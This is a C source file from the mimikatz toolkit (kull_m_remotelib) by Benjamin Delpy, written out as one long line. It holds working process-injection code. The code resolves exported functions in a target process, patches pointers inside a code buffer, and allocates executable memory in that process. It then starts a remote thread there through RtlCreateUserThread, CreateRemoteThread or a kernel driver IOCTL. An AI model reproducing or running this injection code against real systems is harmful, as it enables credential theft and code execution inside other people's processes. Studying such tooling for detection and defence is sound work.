/* Benjamin DELPY `gentilkiwi` http://blog.gentilkiwi.com benjamin@gentilkiwi.com Licence : http://creativecommons.org/licenses/by/3.0/fr/ */ #include "kull_m_remotelib.h" PREMOTE_LIB_INPUT_DATA kull_m_remotelib_CreateInput(PVOID inputVoid, DWORD inputDword, DWORD inputSize, PVOID inputData) { PREMOTE_LIB_INPUT_DATA iData; if(iData = (PREMOTE_LIB_INPUT_DATA) LocalAlloc(LPTR, FIELD_OFFSET(REMOTE_LIB_INPUT_DATA, inputData) + inputSize)) { iData->inputVoid = inputVoid; iData->inputDword = inputDword; if(inputSize && inputData) { iData->inputSize = inputSize; RtlCopyMemory(iData->inputData, inputData, inputSize); } } return iData; } BOOL kull_m_remotelib_create(PKULL_M_MEMORY_ADDRESS aRemoteFunc, PREMOTE_LIB_INPUT_DATA input, PREMOTE_LIB_OUTPUT_DATA output) { BOOL success = FALSE; NTSTATUS status; HANDLE hThread; KULL_M_MEMORY_HANDLE hLocalBuffer = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS aRemoteData = {NULL, aRemoteFunc->hMemory}, aSuppData = {NULL, aRemoteFunc->hMemory}, aLocalAddr = {NULL, &hLocalBuffer}; PREMOTE_LIB_DATA data; REMOTE_LIB_OUTPUT_DATA oData; MIMIDRV_THREAD_INFO drvInfo = {(PTHREAD_START_ROUTINE) aRemoteFunc->address, NULL}; DWORD size = FIELD_OFFSET(REMOTE_LIB_DATA, input.inputData) + input->inputSize; if(!output) output = &oData; //kprintf(L"\ninput\n" // L".void = 0x%p\n" // L".dword = 0x%08x - %u\n" // L".size = %u\n" // L".data[] = [ ", // input->inputVoid, input->inputDword, input->inputDword, input->inputSize); //kull_m_string_wprintf_hex(input->inputData, input->inputSize, 1); //kprintf(L"]\n"); if(data = (PREMOTE_LIB_DATA) LocalAlloc(LPTR, size)) { RtlCopyMemory(&data->input, input, FIELD_OFFSET(REMOTE_LIB_INPUT_DATA, inputData) + input->inputSize); if(kull_m_memory_alloc(&aRemoteData, size, PAGE_READWRITE)) { aLocalAddr.address = data; if(kull_m_memory_copy(&aRemoteData, &aLocalAddr, size)) { switch(aRemoteFunc->hMemory->type) { case KULL_M_MEMORY_TYPE_PROCESS: if(MIMIKATZ_NT_MAJOR_VERSION > 5) { status = RtlCreateUserThread(aRemoteFunc->hMemory->pHandleProcess->hProcess, NULL, 0, 0, 0, 0, (PTHREAD_START_ROUTINE) aRemoteFunc->address, aRemoteData.address, &hThread, NULL); if(!NT_SUCCESS(status)) { hThread = NULL; PRINT_ERROR(L"RtlCreateUserThread (0x%08x)\n", status); } } else if(!(hThread = CreateRemoteThread(aRemoteFunc->hMemory->pHandleProcess->hProcess, NULL, 0, (PTHREAD_START_ROUTINE) aRemoteFunc->address, aRemoteData.address, 0, NULL))) PRINT_ERROR_AUTO(L"CreateRemoteThread"); if(hThread) { WaitForSingleObject(hThread, INFINITE); success = CloseHandle(hThread); } break; case KULL_M_MEMORY_TYPE_KERNEL: drvInfo.pArg = aRemoteData.address; kprintf(L"Th @ %p\nDa @ %p\n", drvInfo.pRoutine, drvInfo.pArg); if(!(success = kull_m_kernel_ioctl_handle(aRemoteFunc->hMemory->pHandleDriver->hDriver, IOCTL_MIMIDRV_CREATEREMOTETHREAD, &drvInfo, sizeof(MIMIDRV_THREAD_INFO), NULL, NULL, FALSE))) PRINT_ERROR_AUTO(L"kull_m_kernel_ioctl_handle"); break; } if(success) { aLocalAddr.address = output; if(success = kull_m_memory_copy(&aLocalAddr, &aRemoteData, sizeof(REMOTE_LIB_OUTPUT_DATA))) { //kprintf(L"\noutput\n" // L".void = 0x%p\n" // L".dword = 0x%08x - %u\n" // L".status = 0x%08x - %u\n" // L".size = %u\n" // L".data = 0x%p\n", // output->outputVoid, output->outputDword, output->outputDword, output->outputStatus, output->outputStatus, output->outputSize, output->outputData); if(aSuppData.address = output->outputData) { if(output != &oData) { success = FALSE; output->outputData = NULL; if(output->outputSize) { if(aLocalAddr.address = LocalAlloc(LPTR, output->outputSize)) { if(success = kull_m_memory_copy(&aLocalAddr, &aSuppData, output->outputSize)) { output->outputData = aLocalAddr.address; //kprintf(L"\t[ "); kull_m_string_wprintf_hex(output->outputData, output->outputSize, 1); kprintf(L"]\n"); } else LocalFree(aLocalAddr.address); } } if(!success) output->outputSize = 0; } kull_m_memory_free(&aSuppData, 0); } } } } kull_m_memory_free(&aRemoteData, 0); } LocalFree(data); } return success; } BOOL CALLBACK kull_m_remotelib_exports_callback_module_exportedEntry(PKULL_M_PROCESS_EXPORTED_ENTRY pExportedEntryInformations, PVOID pvArg) { PREMOTE_EXT extension = (PREMOTE_EXT) pvArg; if(pExportedEntryInformations->name) if(_stricmp(extension->Function, pExportedEntryInformations->name) == 0) { extension->Pointer = pExportedEntryInformations->function.address; return FALSE; } return TRUE; } BOOL CALLBACK kull_m_remotelib_exports_callback_module(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation, PVOID pvArg) { DWORD i; PMULTIPLE_REMOTE_EXT extForCb = (PMULTIPLE_REMOTE_EXT) pvArg; for(i = 0; i < extForCb->count; i++) { if(extForCb->extensions[i].Pointer) continue; if(_wcsicmp(pModuleInformation->NameDontUseOutsideCallback->Buffer, extForCb->extensions[i].Module) == 0) if(kull_m_process_getExportedEntryInformations(&pModuleInformation->DllBase, kull_m_remotelib_exports_callback_module_exportedEntry, extForCb->extensions + i) || !extForCb->extensions[i].Pointer) return FALSE; } return TRUE; } BOOL kull_m_remotelib_GetProcAddressMultipleModules(PKULL_M_MEMORY_HANDLE hProcess, PMULTIPLE_REMOTE_EXT extForCb) { DWORD i; BOOL success; kull_m_process_getVeryBasicModuleInformations(hProcess, kull_m_remotelib_exports_callback_module, extForCb); for(i = 0, success = TRUE; (i < extForCb->count) && success; success &= (extForCb->extensions[i++].Pointer != NULL)); return success; } BOOL kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(PKULL_M_MEMORY_HANDLE hProcess, LPCVOID Buffer, DWORD BufferSize, PMULTIPLE_REMOTE_EXT RemoteExt, PKULL_M_MEMORY_ADDRESS DestAddress) { BOOL success = FALSE; DWORD i, j; KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS aLocalAddr = {(LPVOID) Buffer, &hLocalMemory}; DestAddress->hMemory = hProcess; DestAddress->address = NULL; if(RemoteExt) { if(kull_m_remotelib_GetProcAddressMultipleModules(hProcess, RemoteExt)) { if(aLocalAddr.address = LocalAlloc(LPTR, BufferSize)) { RtlCopyMemory(aLocalAddr.address, Buffer, BufferSize); for(i = 0; i < BufferSize - sizeof(PVOID); i++) { for(j = 0; j < RemoteExt->count; j++) { if((PVOID) RemoteExt->extensions[j].ToReplace == *(PVOID *) ((PBYTE) aLocalAddr.address + i)) { *(PVOID *) ((PBYTE) aLocalAddr.address + i) = RemoteExt->extensions[j].Pointer; //kprintf(L"Found =) - %.*S - %s!%S -> %p\n", sizeof(PVOID), &RemoteExt->extensions[j].ToReplace, RemoteExt->extensions[j].Module, RemoteExt->extensions[j].Function, *(PVOID *) ((PBYTE) aLocalAddr.address + i)); i += sizeof(PVOID) - 1; } } } } } } if(aLocalAddr.address) { if(kull_m_memory_alloc(DestAddress, BufferSize, PAGE_EXECUTE_READWRITE)) { if(!(success = kull_m_memory_copy(DestAddress, &aLocalAddr, BufferSize))) { PRINT_ERROR_AUTO(L"kull_m_memory_copy"); kull_m_memory_free(DestAddress, 0); } } else PRINT_ERROR_AUTO(L"kull_m_memory_alloc / VirtualAlloc(Ex)"); if(RemoteExt) LocalFree(aLocalAddr.address); } else PRINT_ERROR(L"No buffer ?\n"); return success; }